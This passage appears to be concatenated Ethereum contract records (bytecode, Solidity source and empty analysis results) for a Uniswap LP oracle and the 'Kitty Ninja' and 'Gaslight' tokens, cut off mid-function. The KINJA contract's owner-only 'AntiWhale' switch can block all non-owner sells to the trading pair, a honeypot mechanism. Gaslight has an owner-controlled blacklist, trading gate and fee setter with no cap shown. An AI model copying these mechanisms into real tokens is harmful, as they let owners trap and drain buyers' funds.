15260208190526040902054600114610d02576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116610d5d576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b81610d8257600580546001600160a01b0319166001600160a01b038316179055610df8565b8160011415610dab57600680546001600160a01b0319166001600160a01b038316179055610df8565b6040805162461bcd60e51b815260206004820152601860248201527f554e4956324c504f7261636c652f696e76616c69642d69640000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e91576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f36576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fe5576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104b57506000610c3d565b60015461107190630100000081046001600160e81b031690610100900461ffff166116dc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611106576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111ae576040805162461bcd60e51b815260206004820152601c602482015260008051602061192a833981519152604482015290519081900360640190fd5b6001600160a01b038116611209576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d300000000000604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b60007f000000000000000000000000d3d2e2692501a5c9ca623199d38826e513033a176001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ba57600080fd5b505af11580156112ce573d6000803e3d6000fd5b505050506000807f000000000000000000000000d3d2e2692501a5c9ca623199d38826e513033a176001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561132e57600080fd5b505afa158015611342573d6000803e3d6000fd5b505050506040513d606081101561135857600080fd5b50805160209091015190925090506001600160701b0382161580159061138757506000816001600160701b0316115b6113d8576040805162461bcd60e51b815260206004820152601e60248201527f554e4956324c504f7261636c652f696e76616c69642d72657365727665730000604482015290519081900360640190fd5b600554604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561141d57600080fd5b505afa158015611431573d6000803e3d6000fd5b505050506040513d602081101561144757600080fd5b50519050806114875760405162461bcd60e51b81526004018080602001828103825260248152602001806119066024913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b1580156114cc57600080fd5b505afa1580156114e0573d6000803e3d6000fd5b505050506040513d60208110156114f657600080fd5b50519050806115365760405162461bcd60e51b81526004018080602001828103825260248152602001806119706024913960400191505060405180910390fd5b60007f000000000000000000000000d3d2e2692501a5c9ca623199d38826e513033a176001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561159157600080fd5b505afa1580156115a5573d6000803e3d6000fd5b505050506040513d60208110156115bb57600080fd5b5051905060007f0000000000000000000000000000000000000000000000000de0b6b3a76400006115f5856001600160701b03891661173a565b816115fc57fe5b04905060007f0000000000000000000000000000000000000000000000000de0b6b3a764000061163585886001600160701b031661173a565b8161163c57fe5b04905060008361166e671bc16d674ec8000061166061165b878761173a565b6117a6565b6001600160801b031661173a565b8161167557fe5b049050600160801b81106116d0576040805162461bcd60e51b815260206004820152601c60248201527f554e4956324c504f7261636c652f71756f74652d6f766572666c6f7700000000604482015290519081900360640190fd5b98975050505050505050565b80820382811115611734576040805162461bcd60e51b815260206004820152601b60248201527f554e4956324c504f7261636c652f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b92915050565b60008115806117555750508082028282828161175257fe5b04145b611734576040805162461bcd60e51b815260206004820152601a60248201527f554e4956324c504f7261636c652f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b6000816117b5575060006118e9565b816001600160801b82106117ce5760809190911c9060401b5b6801000000000000000082106117e95760409190911c9060201b5b64010000000082106118005760209190911c9060101b5b6201000082106118155760109190911c9060081b5b61010082106118295760089190911c9060041b5b6010821061183c5760049190911c9060021b5b600882106118485760011b5b600181858161185357fe5b048201901c9050600181858161186557fe5b048201901c9050600181858161187757fe5b048201901c9050600181858161188957fe5b048201901c9050600181858161189b57fe5b048201901c905060018185816118ad57fe5b048201901c905060018185816118bf57fe5b048201901c905060008185816118d157fe5b0490508082106118e157806118e3565b815b93505050505b919050565b60408051808201909152600080825260208201529056fe554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f6e6f742d617574686f72697a656400000000554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a26469706673582212206c71ea5b4a3564b81590e23af73a03746aee6212e2106a64806d6047deb00c0b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
2,722
0x92d10dd1008159dcb9bee254fe15ac732c78d928
/* Kitty Ninja $KINJA _ _____ _____ _______ __ _ _ ___ _ _ _ _ | |/ /_ _|_ _|_ _\ \ / / | \| |_ _| \| |_ | |/_\ | ' < | | | | | | \ V / | .` || || .` | || / _ \ |_|\_\___| |_| |_| |_| |_|\_|___|_|\_|\__/_/ \_\ Website: https://kittyninja.io Telegram: https://t.me/kinja_eth Twitter: https://twitter.com/kinja_eth */ pragma solidity 0.8.9; pragma experimental ABIEncoderV2; // SPDX-License-Identifier:MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IdexFacotry { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router02 contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract KITTYNINJA is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IDexRouter public dexRouter; address public dexPair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public wallet1; bool public _antiwhale = true; constructor(address _wallet1) { _name = "Kitty Ninja"; _symbol = "KINJA"; _decimals = 18; _totalSupply = 10000000 * 1e18; wallet1 = _wallet1; _balances[owner()] = _totalSupply.mul(700).div(1e3); _balances[wallet1] = _totalSupply.mul(300).div(1e3); IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token dexPair = IdexFacotry(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); // set the rest of the contract variables dexRouter = _dexRouter; emit Transfer(address(this), owner(), _totalSupply.mul(700).div(1e3)); emit Transfer(address(this), wallet1, _totalSupply.mul(300).div(1e3)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function AntiWhale(bool value) external onlyOwner { _antiwhale = value; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "WE: transfer from the zero address"); require(recipient != address(0), "WE: transfer to the zero address"); require(amount > 0, "WE: Transfer amount must be greater than zero"); if (!_antiwhale && sender != owner() && recipient != owner()) { require(recipient != dexPair, " WE:antuwhale is not enabled"); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "WE: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a8a037f511610071578063a8a037f514610265578063a9059cbb14610278578063dd62ed3e1461028b578063f242ab41146102c4578063f2fde38b146102d757600080fd5b806370a0823114610206578063715018a61461022f5780638da5cb5b1461023957806395d89b411461024a578063a457c2d71461025257600080fd5b80631a026c96116100f45780631a026c96146101a457806323b872dd146101b7578063313ce567146101ca57806339509351146101df5780634ce4898f146101f257600080fd5b806306fdde03146101265780630758d92414610144578063095ea7b31461016f57806318160ddd14610192575b600080fd5b61012e6102ea565b60405161013b9190610bbe565b60405180910390f35b600354610157906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b61018261017d366004610c2f565b61037c565b604051901515815260200161013b565b6008545b60405190815260200161013b565b600954610157906001600160a01b031681565b6101826101c5366004610c59565b610393565b60075460405160ff909116815260200161013b565b6101826101ed366004610c2f565b61043f565b60095461018290600160a01b900460ff1681565b610196610214366004610c95565b6001600160a01b031660009081526001602052604090205490565b61023761047b565b005b6000546001600160a01b0316610157565b61012e6104ef565b610182610260366004610c2f565b6104fe565b610237610273366004610cb0565b610594565b610182610286366004610c2f565b6105dc565b610196610299366004610cd2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600454610157906001600160a01b031681565b6102376102e5366004610c95565b6105e9565b6060600580546102f990610d05565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610d05565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b600061038933848461079b565b5060015b92915050565b60006103a08484846108bf565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104275760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b610434853385840361079b565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610389918590610476908690610d56565b61079b565b6000546001600160a01b031633146104a55760405162461bcd60e51b815260040161041e90610d6e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102f990610d05565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561057d5760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b606482015260840161041e565b61058a338585840361079b565b5060019392505050565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161041e90610d6e565b60098054911515600160a01b0260ff60a01b19909216919091179055565b60006103893384846108bf565b6000546001600160a01b031633146106135760405162461bcd60e51b815260040161041e90610d6e565b6001600160a01b0381166106785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161041e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826106e25750600061038d565b60006106ee8385610da3565b9050826106fb8583610dc2565b146107525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041e565b9392505050565b600061075283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b87565b6001600160a01b0383166107fd5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041e565b6001600160a01b03821661085e5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109205760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161041e565b6001600160a01b0382166109765760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f2061646472657373604482015260640161041e565b600081116109dc5760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b606482015260840161041e565b600954600160a01b900460ff16158015610a0457506000546001600160a01b03848116911614155b8015610a1e57506000546001600160a01b03838116911614155b15610a81576004546001600160a01b0383811691161415610a815760405162461bcd60e51b815260206004820152601c60248201527f2057453a616e74757768616c65206973206e6f7420656e61626c656400000000604482015260640161041e565b6001600160a01b03831660009081526001602052604090205481811015610af65760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161041e565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610b2d908490610d56565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7991815260200190565b60405180910390a350505050565b60008183610ba85760405162461bcd60e51b815260040161041e9190610bbe565b506000610bb58486610dc2565b95945050505050565b600060208083528351808285015260005b81811015610beb57858101830151858201604001528201610bcf565b81811115610bfd576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c2a57600080fd5b919050565b60008060408385031215610c4257600080fd5b610c4b83610c13565b946020939093013593505050565b600080600060608486031215610c6e57600080fd5b610c7784610c13565b9250610c8560208501610c13565b9150604084013590509250925092565b600060208284031215610ca757600080fd5b61075282610c13565b600060208284031215610cc257600080fd5b8135801515811461075257600080fd5b60008060408385031215610ce557600080fd5b610cee83610c13565b9150610cfc60208401610c13565b90509250929050565b600181811c90821680610d1957607f821691505b60208210811415610d3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610d6957610d69610d40565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610dbd57610dbd610d40565b500290565b600082610ddf57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122034cbbe2ba8678701ce4b5050e67de4518cef293e66a974f48624b7b892978daf64736f6c63430008090033
{"success": true, "error": null, "results": {}}
2,723
0x2ea2d1586cc5e62d61f399d83b2803c8f4cd83af
/** *Submitted for verification at Etherscan.io on 2022-03-25 */ /** https://t.me/gaslightoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Gaslight is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gaslight"; string private constant _symbol = "GAS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6830E16953597DffA78fd40705b698dDF3130817); address payable private _marketingAddress = payable(0x6830E16953597DffA78fd40705b698dDF3130817); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; 